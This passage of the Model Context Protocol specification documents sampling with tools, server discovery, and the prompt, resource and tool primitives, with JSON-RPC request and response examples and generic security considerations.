`CreateMessageRequest.params.toolChoice` controls the tool use ability of the model:

- `{mode: "auto"}`: Model decides whether to use tools (default)
- `{mode: "required"}`: Model MUST use at least one tool before completing
- `{mode: "none"}`: Model MUST NOT use any tools

Parallel Tool Use

MCP allows models to make multiple tool use requests in parallel (returning an array of `ToolUseContent`). All major provider APIs support this:

- **Claude**: Supports parallel tool use natively
- **OpenAI**: Supports parallel tool calls (can be disabled with `parallel_tool_calls: false`)
- **Gemini**: Supports parallel function calls natively

Implementations wrapping providers that support disabling parallel tool use MAY expose this as an extension, but it is not part of the core MCP specification.

Message Flow

```
sequenceDiagram
    participant Server
    participant Client
    participant User
    participant LLM

    Client->>Server: tools/call(id:1)
    note right of Server: Server needs more info
    Server->>Client: InputRequiredResult(<br/>sampling/createMessage<br/>(messages + tools))

    Note over Client,User: Human-in-the-loop review
    Client->>User: Present request for approval
    User-->>Client: Review and approve/modify

    Note over Client,LLM: Model interaction
    Client->>LLM: Forward approved request
    LLM-->>Client: Return generation

    Note over Client,User: Response review
    Client->>User: Present response for approval
    User-->>Client: Review and approve/modify

    Note over Server,Client: Replay Request with approved response
    Client-->>Server: tools/call(id:3, Return approved response)
```

Data Types

Messages

Sampling messages **MUST** contain a `role` field of `"user"` or `"assistant"`; and a `content` field representing the message data.

The list of messages in a sampling request **SHOULD NOT** be retained between separate requests.

The `content` field can contain:

Text Content

```
{
  "type": "text",
  "text": "The message content"
}
```

Image Content

```
{
  "type": "image",
  "data": "base64-encoded-image-data",
  "mimeType": "image/jpeg"
}
```

Audio Content

```
{
  "type": "audio",
  "data": "base64-encoded-audio-data",
  "mimeType": "audio/wav"
}
```

Model Preferences

Model selection in MCP requires careful abstraction since servers and clients may use different AI providers with distinct model offerings. A server cannot simply request a specific model by name since the client may not have access to that exact model or may prefer to use a different provider's equivalent model.

To solve this, MCP implements a preference system that combines abstract capability priorities with optional model hints:

Capability Priorities

Servers express their needs through three normalized priority values (0-1):

- `costPriority`: How important is minimizing costs? Higher values prefer cheaper models.
- `speedPriority`: How important is low latency? Higher values prefer faster models.
- `intelligencePriority`: How important are advanced capabilities? Higher values prefer more capable models.

Model Hints

While priorities help select models based on characteristics, `hints` allow servers to suggest specific models or model families:

- Hints are treated as substrings that can match model names flexibly
- Multiple hints are evaluated in order of preference
- Clients **MAY** map hints to equivalent models from different providers
- Hints are advisory—clients make final model selection

For example:

```
{
  "hints": [
    { "name": "claude-3-sonnet" }, // Prefer Sonnet-class models
    { "name": "claude" } // Fall back to any Claude model
  ],
  "costPriority": 0.3, // Cost is less important
  "speedPriority": 0.8, // Speed is very important
  "intelligencePriority": 0.5 // Moderate capability needs
}
```

The client processes these preferences to select an appropriate model from its available options. For instance, if the client doesn't have access to Claude models but has Gemini, it might map the sonnet hint to `gemini-1.5-pro` based on similar capabilities.

System Prompt

The optional `systemPrompt` field allows servers to request a specific system prompt. The client **MAY** modify or ignore this field without communicating this to the server.

Context Inclusion

The `includeContext` parameter specifies what context information the client is expected to include in its response:

- `"none"`: No additional context.
- `"thisServer"`: Include context from the requesting server.
- `"allServers"`: Include context from all connected MCP servers.

The `"thisServer"` and `"allServers"` values are deprecated; see [Capabilities](#).

The client **MAY** modify or ignore this field without communicating this to the server. For example, a client could determine that respecting this field in a particular request would require sharing sensitive information with a server, and constrain its response accordingly.

Sampling Parameters

LLM sampling can be fine-tuned with the following parameters:

- `temperature`: Controls randomness in model responses. Higher values produce higher randomness, and lower values produce more stable output. Valid range depends upon the model provider.
- `maxTokens`: Maximum tokens to generate; required.
- `stopSequences`: Array of sequences that stop generation.
- `metadata`: Additional provider-specific parameters.

The client **MUST** respect the `maxTokens` parameter.

The client **MAY** modify or ignore `temperature`, `stopSequences` and `metadata`. For example, a client could use a model that does not support one or more of these parameters, and would therefore be unable to leverage them.

Result Fields

Sampling results will contain the following fields:

- `role`: The message role; see [Messages](#).
- `content`: The message content. This can be either:
 - A single content block when the response contains only one content block, such as a single text response.
 - An array of content blocks when the response contains one or more content blocks, such as multiple tool uses or mixed content.

See [Messages](#) for content block types.

- `model`: The name of the model that generated the message.
- `stopReason`: The reason why sampling stopped, if known. The specification defines the following (non-exhaustive) stop reasons, although implementations **MAY** provide their own arbitrary values:
 - `"endTurn"`: The participant is yielding the conversation to the other party.
 - `"stopSequence"`: Message generation encountered one of the requested `stopSequences`.
 - `"maxTokens"`: The token limit was reached.
 - `"toolUse"`: The model wants to use one or more tools.

Error Handling

If an error occurs or the user declines the sampling request, the client does not need to replay the initial call with an error message, as the server is not waiting for a response with the `InputRequiredResult` pattern.

Security Considerations

1. Clients **SHOULD** implement user approval controls
2. Both parties **SHOULD** validate message content
3. Clients **SHOULD** respect model preference hints
4. Clients **SHOULD** implement rate limiting
5. Both parties **MUST** handle sensitive data appropriately

When tools are used in sampling, additional security considerations apply:

6. Servers **MUST** ensure that when replying to a `stopReason: "toolUse"`, each `ToolUseContent` item is responded to with a `ToolResultContent` item with a matching `toolUseId`, and that the user message contains only tool results (no other content types)

7. Both parties **SHOULD** implement iteration limits for tool loops

[mcp / specification/2026-07-28/server](#)

Discovery

mcp/specification/2026-07-28/server/discover.mdx

`server/discover` lets a client query a server's supported protocol versions, capabilities, and identity before sending any other requests. Servers **MUST** implement it.

Request

The request carries no body parameters beyond the standard `_meta`:

```
{
  "jsonrpc": "2.0",
  "id": "discover-1",
  "method": "server/discover",
  "params": {
    "_meta": {
      "io.modelcontextprotocol/protocolVersion": "2026-07-28",
      "io.modelcontextprotocol/clientInfo": {
        "name": "ExampleClient",
        "version": "1.0.0"
      },
      "io.modelcontextprotocol/clientCapabilities": {}
    }
  }
}
```

Response

The server replies with its supported protocol versions, capabilities, and identity. This operation supports [caching](#).

```
{
  "jsonrpc": "2.0",
  "id": "discover-1",
  "result": {
    "resultType": "complete",
    "supportedVersions": ["2026-07-28"],
    "capabilities": {
      "tools": {},
      "resources": {}
    }
  },
  "_meta": {
    "io.modelcontextprotocol/serverInfo": {
      "name": "ExampleServer",
      "version": "1.0.0"
    }
  }
}
```



```

    }
  },
  "instructions": "This server provides weather and resource utilities.",
  "ttlMs": 3600000,
  "cacheScope": "public"
}
}

```

When to Call

Calling `server/discover` is optional for clients — a client may invoke any RPC inline and handle [UnsupportedProtocolVersionError](#) if the server does not support the requested version. However, `server/discover` is useful in two scenarios:

- **Presenting server information.** While a client doesn't need to call `server/discover` to use the server, it's a convenient way to retrieve the server's identity, capabilities, and supported versions in a single request. For example, a client can present the capabilities a server supports from a single `server/discover` response instead of probing with separate `tools/list`, `prompts/list`, and `resources/list` requests.
- **stdio backward-compatibility probe.** On stdio, there is no per-request HTTP status code to drive fallback. A client that supports both modern (per-request `_meta`) and legacy (`initialize` handshake) servers **SHOULD** send `server/discover` first; see [stdio: Backward Compatibility](#) for the fallback rules.

See [Protocol Version Negotiation](#) for the full version-selection flow. For HTTP-specific status codes returned for unknown methods, see the [Protocol Version Header](#) section in Transports.

Data Types

DiscoverResult

A discovery result includes:

- `supportedVersions`: Protocol versions the server supports. The client should choose one of these for subsequent requests.
- `capabilities`: Capabilities the server supports (tools, resources, prompts, etc.)
- `_meta['io.modelcontextprotocol/serverInfo']`: Name and version of the server software. Servers **SHOULD** include this field.
- `instructions`: Optional natural-language guidance for LLMs on how to use this server effectively

참고

`serverInfo` is self-reported by the server and is not verified by the protocol. It is intended for display, logging, and debugging. Clients **SHOULD NOT** use it to change their behavior, and

SHOULD NOT rely on it for security decisions.

Overview

mcp/specification/2026-07-28/server/index.mdx

Servers provide the fundamental building blocks for adding context to language models via MCP. These primitives enable rich interactions between clients, servers, and language models:

- **Prompts:** Pre-defined templates or instructions that guide language model interactions
- **Resources:** Structured data or content that provides additional context to the model
- **Tools:** Executable functions that allow models to perform actions or retrieve information

Each primitive can be summarized in the following control hierarchy:

Primitive	Control	Description	Example
Prompts	User-controlled	Interactive templates invoked by user choice	Slash commands, menu options
Resources	Application-controlled	Contextual data attached and managed by the client	File contents, git history
Tools	Model-controlled	Functions exposed to the LLM to take actions	API POST requests, file writing

Explore these key primitives in more detail below:

[Prompts](#)

[Resources](#)

[Tools](#)

Prompts

mcp/specification/2026-07-28/server/prompts.mdx

The Model Context Protocol (MCP) provides a standardized way for servers to expose prompt templates to clients. Prompts allow servers to provide structured messages and instructions for interacting with language models. Clients can discover available prompts, retrieve their contents, and provide arguments to customize them.

참고

For brevity, the request examples on this page omit the `_meta` request metadata (`io.modelcontextprotocol/protocolVersion`, `io.modelcontextprotocol/clientInfo`, and `io.modelcontextprotocol/clientCapabilities`). Every request **MUST** include the required `_meta` fields; see [_meta](#).

User Interaction Model

Prompts are designed to be **user-controlled**, meaning they are exposed from servers to clients with the intention of the user being able to explicitly select them for use. This refers to who decides when the prompt is used, not who authors its content. Prompt content is defined by the server.

Typically, prompts would be triggered through user-initiated commands in the user interface, which allows users to naturally discover and invoke available prompts.

For example, as slash commands:

 Example of prompt exposed as slash command

However, implementors are free to expose prompts through any interface pattern that suits their needs—the protocol itself does not mandate any specific user interaction model.

Capabilities

Servers that support prompts **MUST** declare the `prompts` capability in their [DiscoverResult](#):

```
{
  "capabilities": {
    "prompts": {
      "listChanged": true
    }
  }
}
```

`listChanged` indicates whether the server will emit notifications when the list of available prompts changes.

Servers that declare the `prompts` capability **MUST** respond to `prompts/list` requests with the set of prompts currently available to the requesting client. This set **MAY** be empty and **MAY** change over time (see [List Changed Notification](#)), but **MUST NOT** vary per-connection or as a side effect of other requests on the connection. The set **MAY** vary by the authorization presented on the request — for example, returning only the prompts the caller's granted scopes permit — since credentials are per-request input, not connection state.

Protocol Messages

Listing Prompts

To retrieve available prompts, clients send a `prompts/list` request. This operation supports [pagination](#) and [caching](#).

Request:

```
{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "prompts/list",
  "params": {
    "cursor": "optional-cursor-value"
  }
}
```

Response:

```
{
  "jsonrpc": "2.0",
  "id": 1,
  "result": {
    "resultType": "complete",
    "prompts": [
      {
        "name": "code_review",
        "title": "Request Code Review",
        "description": "Asks the LLM to analyze code quality and suggest improvements",
        "arguments": [
          {
            "name": "code",
            "description": "The code to review",
            "required": true
          }
        ]
      }
    ],
    "icons": [
```

```

        {
          "src": "https://example.com/review-icon.svg",
          "mimeType": "image/svg+xml",
          "sizes": ["any"]
        }
      ]
    },
    "nextCursor": "next-page-cursor",
    "ttlMs": 600000,
    "cacheScope": "public"
  }
}

```

Getting a Prompt

To retrieve a specific prompt, clients send a `prompts/get` request. Arguments may be auto-completed through [the completion API](#).

Request:

```

{
  "jsonrpc": "2.0",
  "id": 2,
  "method": "prompts/get",
  "params": {
    "name": "code_review",
    "arguments": {
      "code": "def hello():\n    print('world')"
    }
  }
}

```

Response:

```

{
  "jsonrpc": "2.0",
  "id": 2,
  "result": {
    "resultType": "complete",
    "description": "Code review prompt",
    "messages": [
      {
        "role": "user",
        "content": {
          "type": "text",
          "text": "Please review this Python code:\ndef hello():\n    print('world')"
        }
      }
    ]
  }
}

```

```

    ]
  }
}

```

Servers **MAY** also respond to `prompts/get` with an [InputRequiredResult](#) to indicate that additional input is needed before the prompt can be resolved. This follows the [multi round-trip requests](#) mechanism. When retrying the request, clients include `inputResponses` and, if provided by the server, `requestState` in the request parameters.

List Changed Notification

When the list of available prompts changes, servers that declared the `listChanged` capability **SHOULD** send a notification to clients that have opened a [subscriptions/listen](#) stream with `promptsListChanged: true`:

```

{
  "jsonrpc": "2.0",
  "method": "notifications/prompts/list_changed"
}

```

Message Flow

```

sequenceDiagram
    participant Client
    participant Server

    Note over Client,Server: Discovery
    Client->>Server: prompts/list
    Server-->>Client: List of prompts

    Note over Client,Server: Usage
    Client->>Server: prompts/get
    Server-->>Client: Prompt content

    opt listChanged
        Client->>Server: subscriptions/listen (promptsListChanged: true)
        Server-->>Client: notifications/subscriptions/acknowledged
        Note over Client,Server: Changes
        Server-->>Client: notifications/prompts/list_changed
        Client->>Server: prompts/list
        Server-->>Client: Updated prompts
    end

```

Data Types

Prompt

A prompt definition includes:

- `name`: Unique identifier for the prompt
- `title`: Optional human-readable name of the prompt for display purposes.
- `description`: Optional human-readable description
- `icons`: Optional array of icons for display in user interfaces
- `arguments`: Optional list of arguments for customization

PromptMessage

Messages in a prompt can contain:

- `role`: Either "user" or "assistant" to indicate the speaker
- `content`: One of the following content types:

참고

All content types in prompt messages support optional [annotations](#) for metadata about audience, priority, and modification times.

Text Content

Text content represents plain text messages:

```
{
  "type": "text",
  "text": "The text content of the message"
}
```

This is the most common content type used for natural language interactions.

Image Content

Image content allows including visual information in messages:

```
{
  "type": "image",
  "data": "base64-encoded-image-data",
  "mimeType": "image/png"
}
```


The image data **MUST** be base64-encoded and include a valid MIME type. This enables multi-modal interactions where visual context is important.

Audio Content

Audio content allows including audio information in messages:

```
{
  "type": "audio",
  "data": "base64-encoded-audio-data",
  "mimeType": "audio/wav"
}
```

The audio data **MUST** be base64-encoded and include a valid MIME type. This enables multi-modal interactions where audio context is important.

Resource Links

Prompt messages **MAY** include links to [Resources](#), to provide additional context or data without embedding the resource contents directly. In this case, the prompt message returns a URI that can be fetched by the client:

```
{
  "type": "resource_link",
  "uri": "file:///project/src/main.rs",
  "name": "main.rs",
  "description": "Primary application entry point",
  "mimeType": "text/x-rust"
}
```

Resource links support the same [Resource annotations](#) as regular resources to help clients understand how to use them.

Embedded Resources

Embedded resources allow referencing server-side resources directly in messages:

```
{
  "type": "resource",
  "resource": {
    "uri": "resource://example",
    "mimeType": "text/plain",
    "text": "Resource content"
  }
}
```

Resources can contain either text or binary (blob) data and **MUST** include:

- A valid resource URI
- The appropriate MIME type
- Either text content or base64-encoded blob data

Embedded resources enable prompts to seamlessly incorporate server-managed content like documentation, code samples, or other reference materials directly into the conversation flow.

Error Handling

Servers **SHOULD** return standard JSON-RPC errors for common failure cases:

- Invalid prompt name: `-32602` (Invalid params)
- Missing required arguments: `-32602` (Invalid params)
- Internal errors: `-32603` (Internal error)

Implementation Considerations

1. Servers **SHOULD** validate prompt arguments before processing
2. Clients **SHOULD** handle pagination for large prompt lists
3. Both parties **SHOULD** respect capability negotiation

Security

Implementations **MUST** carefully validate all prompt inputs and outputs to prevent injection attacks or unauthorized access to resources.

Resources

mcp/specification/2026-07-28/server/resources.mdx

The Model Context Protocol (MCP) provides a standardized way for servers to expose resources to clients. Resources allow servers to share data that provides context to language models, such as files, database schemas, or application-specific information. Each resource is uniquely identified by a [URI](#).

참고

For brevity, the request examples on this page omit the `_meta` request metadata (`io.modelcontextprotocol/protocolVersion`, `io.modelcontextprotocol/clientInfo`, and `io.modelcontextprotocol/clientCapabilities`). Every request **MUST** include the required `_meta` fields; see [_meta](#).

User Interaction Model

Resources in MCP are designed to be **application-driven**, with host applications determining how to incorporate context based on their needs.

For example, applications could:

- Expose resources through UI elements for explicit selection, in a tree or list view
- Allow the user to search through and filter available resources
- Implement automatic context inclusion, based on heuristics or the AI model's selection



Example of resource context picker

However, implementations are free to expose resources through any interface pattern that suits their needs—the protocol itself does not mandate any specific user interaction model.

Capabilities

Servers that support resources **MUST** declare the `resources` capability:

```
{
  "capabilities": {
    "resources": {
      "listChanged": true,
      "subscribe": true
    }
  }
}
```

The capability supports two optional features:

- `listChanged`: whether the server will emit notifications when the list of available resources changes.
- `subscribe`: whether the server supports resource-specific update notifications for resources requested through subscriptions/listen using the `resourceSubscriptions` filter.

Servers may advertise either feature independently, together or neither.

Servers that support neither `listChanged` nor `subscribe` may omit it:

```
{
  "capabilities": {
    "resources": {}
  }
}
```

Servers that declare the `resources` capability **MUST** respond to `resources/list` requests with the set of resources currently available to the requesting client. This set **MAY** be empty and **MAY** change over time (see [List Changed Notification](#)), but **MUST NOT** vary per-connection or as a side effect of other requests on the connection. The set **MAY** vary by the authorization presented on the request — for example, returning only the resources the caller's granted scopes permit — since credentials are per-request input, not connection state.

Protocol Messages

Listing Resources

To discover available resources, clients send a `resources/list` request. This operation supports [pagination](#) and [caching](#).

Request:

```
{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "resources/list",
  "params": {
    "cursor": "optional-cursor-value"
  }
}
```

Response:

```
{
  "jsonrpc": "2.0",
  "id": 1,
```

```

"result": {
  "resultType": "complete",
  "resources": [
    {
      "uri": "file:///project/src/main.rs",
      "name": "main.rs",
      "title": "Rust Software Application Main File",
      "description": "Primary application entry point",
      "mimeType": "text/x-rust",
      "icons": [
        {
          "src": "https://example.com/rust-file-icon.png",
          "mimeType": "image/png",
          "sizes": ["48x48"]
        }
      ]
    }
  ],
  "nextCursor": "next-page-cursor",
  "ttlMs": 300000,
  "cacheScope": "public"
}
}

```

Reading Resources

To retrieve resource contents, clients send a `resources/read` request. This operation supports [caching](#).

Request:

```

{
  "jsonrpc": "2.0",
  "id": 2,
  "method": "resources/read",
  "params": {
    "uri": "file:///project/src/main.rs"
  }
}

```

Response:

```

{
  "jsonrpc": "2.0",
  "id": 2,
  "result": {
    "resultType": "complete",
    "contents": [
      {

```

```

    "uri": "file:///project/src/main.rs",
    "mimeType": "text/x-rust",
    "text": "fn main() {\n    println!(\"Hello world!\");\n}"
  }
],
"ttlMs": 60000,
"cacheScope": "private"
}
}

```

Servers **MAY** return multiple resource contents in response to a single `resources/read` request. For example, a server could return the contents of several files when a directory resource is read.

Servers **MAY** also respond to `resources/read` with an `InputRequiredResult` to indicate that additional input is needed before the resource can be read. This follows the [multi round-trip requests](#) mechanism. When retrying the request, clients include `inputResponses` and, if provided by the server, `requestState` in the request parameters.

Alternatively, if the scheme of `uri` is `https://`, clients may fetch the resource directly from the web. See the [Common URI Schemes section](#) for more information.

Resource Templates

Resource templates allow servers to expose parameterized resources using [URI templates](#). Arguments may be auto-completed through [the completion API](#). This operation supports [pagination](#) and [caching](#).

Request:

```

{
  "jsonrpc": "2.0",
  "id": 3,
  "method": "resources/templates/list",
  "params": {
    "cursor": "optional-cursor-value"
  }
}

```

Response:

```

{
  "jsonrpc": "2.0",
  "id": 3,
  "result": {
    "resultType": "complete",
    "resourceTemplates": [
      {
        "uriTemplate": "file:///path",

```

```

    "name": "Project Files",
    "title": "📁 Project Files",
    "description": "Access files in the project directory",
    "mimeType": "application/octet-stream",
    "icons": [
      {
        "src": "https://example.com/folder-icon.png",
        "mimeType": "image/png",
        "sizes": ["48x48"]
      }
    ]
  },
  ],
  "nextCursor": "next-page-cursor",
  "ttlMs": 300000,
  "cacheScope": "public"
}
}

```

List Changed Notification

When the list of available resources changes, servers that declared the `listChanged` capability **SHOULD** send a notification:

```

{
  "jsonrpc": "2.0",
  "method": "notifications/resources/list_changed"
}

```

Subscriptions

Clients subscribe to change notifications for specific resources by sending a [subscriptions/listen](#) request with the resource URIs listed in `notifications.resourceSubscriptions`. The server delivers `notifications/resources/updated` on the resulting stream whenever a watched resource changes.

```

{
  "jsonrpc": "2.0",
  "method": "notifications/resources/updated",
  "params": {
    "_meta": { "io.modelcontextprotocol/subscriptionId": 4 },
    "uri": "file:///project/src/main.rs"
  }
}

```

See [Subscriptions](#) for the full protocol mechanics (acknowledgment, `subscriptionId` correlation, and cancellation).

Message Flow

```
sequenceDiagram
    participant Client
    participant Server

    Note over Client,Server: Resource Discovery
    Client->>Server: resources/list
    Server-->>Client: List of resources

    Note over Client,Server: Resource Template Discovery
    Client->>Server: resources/templates/list
    Server-->>Client: List of resource templates

    Note over Client,Server: Resource Access
    Client->>Server: resources/read
    Server-->>Client: Resource contents

    Note over Client,Server: Subscribe to changes
    Client->>Server: subscriptions/listen (resourceSubscriptions)
    Server-->>Client: notifications/subscriptions/acknowledged

    Note over Client,Server: Resource updated
    Server-->>Client: notifications/resources/updated
    Client->>Server: resources/read
    Server-->>Client: Updated contents
```

Data Types

Resource

A resource definition includes:

- `uri`: Unique identifier for the resource
- `name`: The name of the resource.
- `title`: Optional human-readable name of the resource for display purposes.
- `description`: Optional description
- `icons`: Optional array of icons for display in user interfaces
- `mimeType`: Optional MIME type
- `size`: Optional size in bytes

Resource Contents

Resources can contain either text or binary data:

Text Content

```
{
  "uri": "file:///example.txt",
  "mimeType": "text/plain",
  "text": "Resource content"
}
```

Binary Content

```
{
  "uri": "file:///example.png",
  "mimeType": "image/png",
  "blob": "base64-encoded-data"
}
```

Annotations

Resources, resource templates and content blocks support optional annotations that provide hints to clients about how to use or display the resource:

- **audience**: An array indicating the intended audience(s) for this resource. Valid values are "user" and "assistant". For example, ["user", "assistant"] indicates content useful for both.
- **priority**: A number from 0.0 to 1.0 indicating the importance of this resource. A value of 1 means "most important" (effectively required), while 0 means "least important" (entirely optional).
- **lastModified**: An ISO 8601 formatted timestamp indicating when the resource was last modified (e.g., "2025-01-12T15:00:58Z").

Example resource with annotations:

```
{
  "uri": "file:///project/README.md",
  "name": "README.md",
  "title": "Project Documentation",
  "mimeType": "text/markdown",
  "annotations": {
    "audience": ["user"],
    "priority": 0.8,
    "lastModified": "2025-01-12T15:00:58Z"
  }
}
```

Clients can use these annotations to:

- Filter resources based on their intended audience
- Prioritize which resources to include in context
- Display modification times or sort by recency

Common URI Schemes

The protocol defines several standard URI schemes. This list is not exhaustive—implementations are always free to use additional, custom URI schemes.

https://

Used to represent a resource available on the web.

Servers **SHOULD** use this scheme only when the client is able to fetch and load the resource directly from the web on its own—that is, it doesn't need to read the resource via the MCP server.

For other use cases, servers **SHOULD** prefer to use another URI scheme, or define a custom one, even if the server will itself be downloading resource contents over the internet.

file://

Used to identify resources that behave like a filesystem. However, the resources do not need to map to an actual physical filesystem.

MCP servers **MAY** identify file:// resources with an [XDG MIME type](#), like `inode/directory`, to represent non-regular files (such as directories) that don't otherwise have a standard MIME type.

git://

Git version control integration.

Custom URI Schemes

Custom URI schemes **MUST** be in accordance with [RFC3986](#), taking the above guidance in to account.

Error Handling

If the requested resource does not exist, servers **MUST** return a JSON-RPC error with code `-32602` (Invalid Params). Servers **SHOULD** return `-32603` for internal errors.

For backwards compatibility, clients **SHOULD** also accept `-32002` as a resource not found error, as earlier protocol versions used this code.

Servers **MUST NOT** return an empty `contents` array for a non-existent resource. An empty array is ambiguous—it could mean the resource exists but has no content, or that it doesn't exist at all.

Example error:

```
{
  "jsonrpc": "2.0",
  "id": 5,
  "error": {
    "code": -32602,
    "message": "Resource not found",
    "data": {
      "uri": "file:///nonexistent.txt"
    }
  }
}
```

Security Considerations

1. Servers **MUST** validate all resource URIs
2. Access controls **SHOULD** be implemented for sensitive resources
3. Binary data **MUST** be properly encoded
4. Resource permissions **SHOULD** be checked before operations
5. Servers **MUST** sanitize file paths to prevent directory traversal attacks when serving `file://` resources

Tools

mcp/specification/2026-07-28/server/tools.mdx

The Model Context Protocol (MCP) allows servers to expose tools that can be invoked by language models. Tools enable models to interact with external systems, such as querying databases, calling APIs, or performing computations. Each tool is uniquely identified by a name and includes metadata describing its schema.

참고

For brevity, the request examples on this page omit the `_meta` request metadata (`io.modelcontextprotocol/protocolVersion`, `io.modelcontextprotocol/clientInfo`, and `io.modelcontextprotocol/clientCapabilities`). Every request **MUST** include the required `_meta` fields; see [_meta](#).

User Interaction Model

Tools in MCP are designed to be **model-controlled**, meaning that the language model can discover and invoke tools automatically based on its contextual understanding and the user's prompts.

However, implementations are free to expose tools through any interface pattern that suits their needs—the protocol itself does not mandate any specific user interaction model.

주의

For trust & safety and security, there **SHOULD** always be a human in the loop with the ability to deny tool invocations.

Applications **SHOULD**:

- Provide UI that makes clear which tools are being exposed to the AI model
- Insert clear visual indicators when tools are invoked
- Present confirmation prompts to the user for operations, to ensure a human is in the loop

Capabilities

Servers that support tools **MUST** declare the `tools` capability:

```
{
  "capabilities": {
    "tools": {
```

```
    "listChanged": true
  }
}
```

`listChanged` indicates whether the server will emit notifications when the list of available tools changes.

Servers that declare the `tools` capability **MUST** respond to `tools/list` requests with the set of tools currently available to the requesting client. This set **MAY** be empty and **MAY** change over time (see [List Changed Notification](#)), but **MUST NOT** vary per-connection or as a side effect of other requests on the connection. The set **MAY** vary by the authorization presented on the request — for example, returning only the tools the caller's granted scopes permit — since credentials are per-request input, not connection state.

Servers **SHOULD** return tools in a deterministic order (i.e., the same ordering across requests when the underlying set of tools has not changed). Deterministic ordering enables clients to reliably cache the tool list and improves LLM prompt cache hit rates when tools are included in model context.

Protocol Messages

Listing Tools

To discover available tools, clients send a `tools/list` request. This operation supports [pagination](#) and [caching](#).

Request:

```
{
  "jsonrpc": "2.0",
  "id": 1,
  "method": "tools/list",
  "params": {
    "cursor": "optional-cursor-value"
  }
}
```

Response:

```
{
  "jsonrpc": "2.0",
  "id": 1,
  "result": {
    "resultType": "complete",
    "tools": [
      {
```

```

    "name": "get_weather",
    "title": "Weather Information Provider",
    "description": "Get current weather information for a location",
    "inputSchema": {
      "type": "object",
      "properties": {
        "location": {
          "type": "string",
          "description": "City name or zip code"
        }
      },
      "required": ["location"]
    },
    "icons": [
      {
        "src": "https://example.com/weather-icon.png",
        "mimeType": "image/png",
        "sizes": ["48x48"]
      }
    ]
  },
  "nextCursor": "next-page-cursor",
  "ttlMs": 300000,
  "cacheScope": "public"
}

```

Calling Tools

To invoke a tool, clients send a `tools/call` request:

Request:

```

{
  "jsonrpc": "2.0",
  "id": 2,
  "method": "tools/call",
  "params": {
    "name": "get_weather",
    "arguments": {
      "location": "New York"
    }
  }
}

```

Response:

```
{
  "jsonrpc": "2.0",
  "id": 2,
  "result": {
    "resultType": "complete",
    "content": [
      {
        "type": "text",
        "text": "Current weather in New York:\nTemperature: 72°F\nConditions: Partly cloudy"
      }
    ],
    "isError": false
  }
}
```

Input Required Tool Results

Servers **MAY** respond to `tools/call` with an [InputRequiredResult](#) to indicate that additional input is needed before the tool call can be completed. This follows the [multi round-trip requests](#) mechanism.

When retrying the request with input responses, clients include `inputResponses` and, if provided by the server, `requestState` in the request parameters:

Input Required Response:

```
{
  "jsonrpc": "2.0",
  "id": 2,
  "result": {
    "resultType": "input_required",
    "inputRequests": {
      "github_login": {
        "method": "elicitation/create",
        "params": {
          "mode": "form",
          "message": "Please provide your GitHub username",
          "requestedSchema": {
            "type": "object",
            "properties": {
              "name": { "type": "string" }
            },
            "required": ["name"]
          }
        }
      }
    }
  },
  "requestState": "eyJsb2NhdGlvbiI6Ik5ldyBZb3JrIn0..."
}
```

```
}  
}
```

Retry with Input Responses:

```
{  
  "jsonrpc": "2.0",  
  "id": 3,  
  "method": "tools/call",  
  "params": {  
    "name": "get_weather",  
    "arguments": {  
      "location": "New York"  
    },  
    "inputResponses": {  
      "github_login": {  
        "action": "accept",  
        "content": {  
          "name": "octocat"  
        }  
      }  
    },  
    "requestState": "eyJsb2NhdGlvbiI6Ik5ldyBZb3JrIn0..."  
  }  
}
```

Note that the JSON-RPC `id` **MUST** be different between the initial request and the retry.

List Changed Notification

When the list of available tools changes, servers that declared the `listChanged` capability **SHOULD** send a notification to clients that have opened a [subscriptions/listen](#) stream with

`toolsListChanged: true`:

```
{  
  "jsonrpc": "2.0",  
  "method": "notifications/tools/list_changed"  
}
```

Message Flow

```
sequenceDiagram  
    participant LLM  
    participant Client  
    participant Server
```

Note over Client,Server: Discovery


```

Client->>Server: tools/list
Server-->>Client: List of tools

Note over Client,LLM: Tool Selection
LLM->>Client: Select tool to use

Note over Client,Server: Invocation
Client->>Server: tools/call
Server-->>Client: Tool result
Client->>LLM: Process result

    opt listChanged
        Client->>Server: subscriptions/listen (toolsListChanged: true)
        Server-->>Client: notifications/subscriptions/acknowledged
        Note over Client,Server: Updates
        Server-->>Client: notifications/tools/list_changed
        Client->>Server: tools/list
        Server-->>Client: Updated tools
    end

```

Data Types

Tool

A tool definition includes:

- `name`: Unique identifier for the tool
- `title`: Optional human-readable name of the tool for display purposes.
- `description`: Human-readable description of functionality
- `icons`: Optional array of icons for display in user interfaces
- `inputSchema`: JSON Schema defining expected parameters
- Follows the [JSON Schema usage guidelines](#)
- Defaults to 2020-12 if no `$schema` field is present
- **MUST** be a valid JSON Schema object (not `null`)
- For tools with no parameters, use one of these valid approaches:
 - `{ "type": "object", "additionalProperties": false }` - **Recommended**: explicitly accepts only empty objects
 - `{ "type": "object" }` - accepts any object (including with properties)
- Properties **MAY** include an [x-mcp-header](#) annotation to expose parameter values as HTTP headers
- `outputSchema`: Optional JSON Schema defining expected output structure
- Follows the [JSON Schema usage guidelines](#)
- Defaults to 2020-12 if no `$schema` field is present
- `annotations`: Optional properties describing tool behavior

주의

For trust & safety and security, clients **MUST** consider tool annotations to be untrusted unless they come from trusted servers.

Tool Names

- Tool names **SHOULD** be between 1 and 128 characters in length (inclusive).
- Tool names **SHOULD** be considered case-sensitive.
- The following **SHOULD** be the only allowed characters: uppercase and lowercase ASCII letters (A-Z, a-z), digits (0-9), underscore (`_`), hyphen (`-`), and dot (`.`)
- Tool names **SHOULD NOT** contain spaces, commas, or other special characters.
- Tool names **SHOULD** be unique within a server.
- Example valid tool names:
 - `getUser`
 - `DATA_EXPORT_v2`
 - `admin.tools.list`

참고

Tool name uniqueness is scoped to a single server. Clients or proxies that aggregate tools from multiple servers **MAY** encounter naming collisions (for example, two servers each exposing a `search` tool) and **SHOULD** implement a disambiguation strategy such as prefixing tool names with a server identifier.

The server `name` (from `serverInfo`) is not guaranteed to be unique across servers and **SHOULD NOT** be relied upon for disambiguation.

x-mcp-header

The `x-mcp-header` extension property allows servers to designate specific tool parameters to be mirrored into HTTP headers when using the [Streamable HTTP transport](#). This enables network intermediaries (load balancers, proxies, WAFs) to route and process requests based on parameter values without parsing the request body.

The `x-mcp-header` property is placed directly within the JSON Schema of the property to be mirrored. Its value specifies the name portion of the resulting `Mcp-Param-{name}` HTTP header.

Constraints on `x-mcp-header` values:

- **MUST NOT** be empty
- **MUST** match HTTP field-name token syntax (`1*tchar`, [RFC 9110 Section 5.1](#))
